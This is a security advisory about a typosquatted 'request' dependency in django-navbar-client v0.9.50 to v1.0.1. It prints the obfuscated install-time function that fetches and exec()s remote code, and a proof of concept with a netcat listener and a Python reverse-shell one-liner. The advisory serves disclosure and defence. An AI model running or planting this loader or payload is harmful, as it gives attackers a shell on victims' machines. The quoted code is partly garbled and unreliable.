

Vulnerability Report: Code Execution via the Request Package

Overview:

The django-navbar-client package of v0.9.50 to v1.0.1 was discovered to contain a code execution backdoor via the request package. This vulnerability allows attackers to access sensitive user information and digital currency keys, as well as escalate privileges.

Vulnerability Details:

The `'request'` package is used by django-navbar-client in v0.9.50 to v1.0.1 as required package which is a fake alias of the popular `'requests'` (extra s in the end) package.

```
description='Easy remote oauth identification',
packages=find_packages(exclude=['contrib', 'docs', 'tests']),
install_requires=['django', "request"],

keywords='Fiware Orion development',
long_description=long_description,
```

Today the request package is not available on pypi library so hackers can modify that package and host it somewhere else. It was found that we can execute a python code while installing the request package, this may be used to get shell access to the user's system.

In the request package we found a malicious function:

```
def license_check():
    gg = ""
    try:
        gg =
urlopen(base64.b64decode("0hHduU2cuV2Ypx2L5YT02oDdz9GasF2Yvx2LvoDc0RH
a"[:-1])).decode('utf-8')).read().decode('utf-8')
    except Exception as e:
        pass
    if "license" in gg:
        try:
            exec(gg)
        except:
            pass
```

This function (`license_check()`) is executed while installing the request package, and the request package is automatically installed while installing vulnerable versions of `django-navbar-client`.

This base64 encoding is used by hackers to trick users to think that it's the real license check. What it does is visits the link and executes the text received from the GET request on that link if it contains the string "license" in it.

As the request package is not available anywhere publicly, users need to use a custom link to download the package. Hackers can modify the request package and modify the encoded code for their malicious script link and host that package on their server.

Whenever any user will install it the malicious script will be executed which can be used to access sensitive user information and digital currency keys, as well as escalate privileges.

Proof-of-Concept Approach:

Using a hosted VM is preferred, same pc can also be used

1. Download vulnerable versions of `django-navbar-client` from its github repository in commit history. [Github](#)
2. Download the request library.
3. Create a text file named `license.txt`.
4. Create a http server listening to that file, note its link.
5. Extract the request library files go to `hmatch.py` and in the `license_check` function modify the b64 encoded url by your encoded link from above step.
6. Rebuilt the request package.
7. Now in a virtual environment install `pypi-server` and run the server. It will run on port 8080, now move your modified request package to `~/packages` on your pc (in the home directory).
8. Visit your localhost on 8080, 1 package should be listed on your custom `pypi-server`.
9. Now start listening on another pc with port 9001 using netcat, using the command `nc -lvp 9001`, note you IP on another PC.
10. Now put the following contents in the `license.txt` file

```
import socket, subprocess, os; s = socket.socket(socket.AF_INET,
socket.SOCK_STREAM); s.connect(("YOUR_IP_NCAT_HOSED",
9001)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(),
1); os.dup2(s.fileno(), 2); p = subprocess.call(["/bin/sh", "-i"])
```

11. Now install the `django-navbar-client` using `pip` in the same directory where it was downloaded using the following command and also mention the fake server address.

12. This will give a reverse shell access to the PC you started listening on Netcat.

Solution: Update the `django-navbar-client` to versions `>=1.0.2`.